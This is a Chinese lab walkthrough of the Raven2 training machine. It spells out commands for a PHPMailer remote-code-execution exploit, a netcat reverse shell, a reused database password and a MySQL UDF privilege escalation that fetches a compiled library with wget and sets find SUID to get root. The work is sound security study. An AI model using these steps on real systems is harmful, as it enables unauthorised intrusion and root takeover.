Raven2靶机渗透

1. 信息收集

1.1 主机探测

sudo arp-scan -l

image-20231013144649685

1.2 端口扫描

nmap -p- -A 192.168.16.185

image-20231013144904319

开放了80端口,尝试登录网址查看信息,通过浏览器插件找出指纹

image-20231013145409811

image-20231013150539693

1.3 目录扫描

image-20231013151850420

访问登录界面,发现remember Me怀疑是shiro界面

image-20231013151957106

登录/vendor/界面,查看信息

image-20231013152735139

获得flag1和网站的绝对路径

image-20231013152812340

image-20231013153159320

image-20231013154015705

经查找发现PHPMailer < 5.2.18版本存在安全漏洞,可使未经身份验证的远程攻击者在Web服务器用户上下文中执行任意代码,远程控制目标web应用

2. 漏洞利用

2.1 msfconsole

搜索漏洞

image-20231013161328136

使用可用目标0,查看需要设置什么

按照需求配置参数,先配置靶机的IP和邮箱功能页面和绝对路径,在查看设置可以发现kali反弹shell的IP是本机IP

	optionsset RHOSTS 192.168.16.185	  #靶机地址set TARGETURI /contact.php    #邮件功能页面set WEB_ROOT /var/www/html    #网站绝对路径set payload php/meterpreter/reverse_tcp	  #设置payloadset LHOST 192.168.16.176     #kali地址run

image-20231013162530243

searchsploit phpmailer

image-20231013164007026

脚本需要进行一些修改,需要知道网站的绝对路径,能够在前面vendor下的PATH中能够得到flag1和网站的绝对路径

image-20231013171509692

python3 ./40974.py

运行脚本后,使用攻击机监听4444端口

nc -lvvp 4444

访问http://192.168.16.185/dayu.php就会获得反弹shell

image-20231013172034005

image-20231013172023041

使用find命令搜索一下flag文件,得到flag2和flag3

find / -name *flag* 2>/dev/null

image-20231013172340223

获得交互式的shell

python -c 'import pty; pty.spawn("/bin/bash")'

在网站根目录下查看数据库配置文件

cd /var/www/html/
ls
cd wordpress
ls
cat wp-config.php

image-20231013175127314

2.2 数据库UDF提权

登录数据库

user:root
password:R@v3nSecurity
mysql -uroot -pR@v3nSecurity

image-20231013175452909

尝试mysql的udf提权

udf = 'user defined function’即‘用户自定义函数’。
通过添加新函数,对MYSQL的功能进行扩充,性质就象使用本地MYSQL函数如abs()或concat()。
udf在mysql5.1以后的版本中,存在于‘mysql/lib/plugin’目录下,文件后缀为‘.dll’,常用c语言编写。

提权思路:

  • 将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的lib\plugin文件夹下)
  • 从udf文件中引入自定义函数(user defined function)
  • 执行自定义函数

查看secure_file_prive

查看是否满足写入权限:secure_file_prive是否为空

show global variables like 'secur%';

image-20231013180030163


查看插件目录

show variables like '%plugin%';

image-20231013180755672

查看是否存在远程登录

use mysql
select user,host from user;

没有远程登录

image-20231013180958820

只允许本地登录,所以不能使用msf进行提权了,使用searchsploit查看漏洞脚本

searchsploit mysql udf

image-20231013185153962

找到提权的脚本,将1518移动到桌面并对c文件进行编译

编译命令

gcc -g -c /home/ycx/Desktop/1518.c
gcc -g -shared -o 1518.so 1518.o -lc

image-20231013190300636

image-20231013190658487

python开启http服务

python -m http.server 8888

靶机的shell终端进行文件下载
要在/tmp目录下载

cd /tmp
wget http://192.168.16.132:8888/1518.so

image-20231013191104703

再次登录数据库,并使用以下命令创建自定义函数

# 连接mysql数据库
mysql -uroot -pR@v3nSecurity
# 使用mysql数据库
use mysql;
# 创建foo表
create table foo(line blob);
# 往foo表中插入二进制的1518.so
insert into foo values(load_file('/tmp/1518.so'));
# 导出1518.so
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
# 创建do_system自定义函数
create function do_system returns integer soname '1518.so';
# 调用do_system函数给find命令所有者的suid权限,使其执行root
select do_system('chmod u+s /usr/bin/find');
# 导入成功后可查看一下 mysql 函数里面是否新增了do_system:
select * from mysql.func;

image-20231013192511615

在tmp目录下利用find命令执行whoami,发现当前权限是root权限;使用find命令获取root权限的shell

touch 11
find 11 -exec "whoami" \;
find 11 -exec "/bin/sh" \;

image-20231013193534264

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/107091.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

「深入探究Web页面生命周期:DOMContentLoaded、load、beforeunload和unload事件」

&#x1f3ac; 江城开朗的豌豆&#xff1a;个人主页 &#x1f525; 个人专栏 :《 VUE 》 《 javaScript 》 &#x1f4dd; 个人网站 :《 江城开朗的豌豆&#x1fadb; 》 ⛺️ 生活的理想&#xff0c;就是为了理想的生活 ! 目录 引言 1. DOMContentLoaded 1.1 属性 1.2 A…

【aloam】ubuntu20.04 配置 aloam 环境,编译过程报错及成功解决方法

为什么写这篇博客 ALOAM是slamer的必经之路&#xff0c;official提供的基础环境推荐ubuntu16.04或者18.04&#xff0c;而我用20.04已经有一段时间了&#xff0c;不方便换&#xff0c;但由于其他原因也不得不去配置。过程中出现了几个问题&#xff0c;在这里也就20分钟&#xf…

04在命令行中使用Maven命令创建Maven版的Web工程,并将工程部署到服务器的步骤

创建Maven版的Web工程 使用命令生成Web工程 使用mvn archetype:generate命令生成Web工程时&#xff0c;需要使用一个专门生成Web工程骨架的archetype(参照官网看到它的用法) -D表示后面要附加命令的参数&#xff0c;字母D和后面的参数是紧挨着的&#xff0c;中间没有任何其它…

记一次Redis Cluster Pipeline导致的死锁问题

作者&#xff1a;vivo 互联网服务器团队- Li Gang 本文介绍了一次排查Dubbo线程池耗尽问题的过程。通过查看Dubbo线程状态、分析Jedis连接池获取连接的源码、排查死锁条件等方面&#xff0c;最终确认是因为使用了cluster pipeline模式且没有设置超时时间导致死锁问题。 一、背…

Go指针探秘:深入理解内存与安全性

1. 指针的基础 1.1 什么是指针&#xff1f; 指针是一种变量&#xff0c;其存储的是另一个变量的内存地址&#xff0c;而不是值本身。在很多编程语言中&#xff0c;当我们需要直接访问内存或者希望通过一个变量间接操作另一个变量时&#xff0c;会使用到指针。 示例&#xff1a…

掌握 Scikit-Learn: Python 中的机器学习库入门

机器学习 第二课 Sklearn 入门 概述机器学习与 Python 的完美结合Scikit-Learn 的核心组件与结构安装与配置验证安装 数据表示与预处理特征矩阵和目标向量数据处理 估计器模型的选择思考问题的本质研究数据的分布判断任务的复杂性分类问题回归问题 监督学习分类算法回归算法 无…

列表字典推导式

推导式是可以从一个数据序列构建另一个新的数据序列&#xff08;一个有规律的列表或控制一个有规律列表&#xff09;的结构体. 列表推导式 对比普通语法&#xff0c;创建一个0-9的列表&#xff0c;我们可以用while和for循环两种方式 list1 []# 2. 书写循环&#xff0c;依次…

常见的8个JMeter压测问题

为什么在JMeter中执行压力测试时&#xff0c;出现连接异常或连接重置错误&#xff1f; 答案&#xff1a;连接异常或连接重置错误通常是由于服务器在处理请求时出现问题引起的。这可能是由于服务器过载、网络故障或配置错误等原因导致的。 解决方法&#xff1a; 确定服务器的负载…

智能警用装备管理系统-科技赋能警务

警用物资装备管理系统&#xff08;智装备DW-S304&#xff09;是依托互云计算、大数据、RFID技术、数据库技术、AI、视频分析技术对警用装备进行统一管理、分析的信息化、智能化、规范化的系统。 &#xff08;1&#xff09;感知智能化 装备感知是整个方案的基础&#xff0c;本方…

二.镜头知识之镜头总长,法兰距,安装接口

二.镜头知识之镜头总长,法兰距,安装接口 文章目录 二.镜头知识之镜头总长,法兰距,安装接口2.1 线激光模组镜头的FBL 与 TTL(Total Track Length) 镜头总长2.2 相机法兰距2.3 线激光模组镜头的TTL 以及 From Barrel bottom to image plane2.4 相机的镜头接口2.4.1 海思IPC S…

基于YOLO算法的单目相机2D测量(工件尺寸和物体尺寸)三

1.简介 1.1 2D测量技术 基于单目相机的2D测量技术在许多领域中具有重要的背景和意义。 工业制造&#xff1a;在工业制造过程中&#xff0c;精确测量是确保产品质量和一致性的关键。基于单目相机的2D测量技术可以用于检测和测量零件尺寸、位置、形状等参数&#xff0c;进而实…

PyTorch入门教学——使用PyCharm创建一个PyTorch项目

首先需要创建好PyTorch的虚拟环境&#xff0c;步骤&#xff1a;PyTorch入门教学——简介与环境配置-CSDN博客打开PyCharm&#xff0c;新建项目&#xff0c;选择项目的存放位置。选择先前配置的解释器&#xff0c;也就是虚拟环境中的解释器。&#xff08;记住创建的虚拟环境所在…

vue3后台管理框架之svg封装为全局组件

因为项目很多模块需要使用图标,因此把它封装为全局组件!!! 在开发项目的时候经常会用到svg矢量图,而且我们使用SVG以后,页面上加载的不再是图片资源, 这对页面性能来说是个很大的提升,而且我们SVG文件比img要小的很多,放在项目中几乎不占用资源。 安装SVG依赖插件 pnp…

docker 安装(unbuntu安装)

替换源 有时候因为墙的原因&#xff0c;总是不成功&#xff0c;因此我们直接将apt源换成阿里云的 阿里云ubuntu镜像源 需要在阿里云找到指定版本的源&#xff0c;我这里是Ubuntu20 sudo vim /etc/apt/sources.list更换内容&#xff08;可以先将sources.list备份&#xff09; …

年龄越大,越要小心逢九年

老话有云&#xff1a;年龄逢九&#xff0c;灾祸频有。在我国的许多农村地区&#xff0c;至今还流传着这么句话&#xff0c;这句话的大概意思是说&#xff1a;每个人命理年龄逢九&#xff0c;就会有个坎&#xff0c;年龄越大&#xff0c;坎就越厉害&#xff0c;所以&#xff0c;…

【Linux】线程安全问题①——如何实现资源访问互斥(附图解与代码实现)

线程安全主要分为两个方面&#xff0c;分别是资源访问互斥与线程同步&#xff08;线程协同配合&#xff09; 本篇博客&#xff0c;我们主要来讲解资源访问互斥这一方面 目录 为什么要实现资源访问互斥&#xff1f; 实现资源访问互斥&#xff08;原子访问&#xff09;的经典…

Nginx正向代理配置(http)

前言 在工作中我们经常使用nginx进行反向代理,今天介绍下怎么进行正向代理,支持http请求,暂不支持https 首先先介绍下正向代理和反向代理。 正向代理 在客户端&#xff08;浏览器&#xff09;配置代理服务器&#xff0c;通过代理服务器进行互联网访问。 反向代理 客户端只…

修改RuoYi部署路径 适配nginx子路径访问

1 官方参考 若依官方文档提供了一种解决方式&#xff1a;前端手册 | RuoYi 若依文档给的已经很明白了&#xff0c;但如果子路径 /admin 发生改变&#xff0c;修改起来就感觉比较费事了&#xff0c;毕竟要修改4个文件。 这里咱们把子路径抽取出来&#xff0c;放到环境配置文件中…

ThinkPHP5小语种学习平台

有需要请加文章底部Q哦 可远程调试 ThinkPHP5小语种学习平台 一 介绍 此小语种学习平台基于ThinkPHP5框架开发&#xff0c;数据库mysql&#xff0c;前端bootstrap。平台角色分为学生&#xff0c;教师和管理员三种。学生注册登录后可观看学习视频&#xff0c;收藏视频&#xf…

关于图像分割SDK的一些基础认识

随着科技的不断发展&#xff0c;图像分割SDK已经成为了一个备受关注的话题。而在众多图像分割SDK中&#xff0c;美摄图像分割SDK以其独特的功能和优势脱颖而出。本文将从美摄图像分割SDK的企业价值和互联网娱乐方面&#xff0c;介绍其宣传文章的具体写作规范。 在企业价值方面&…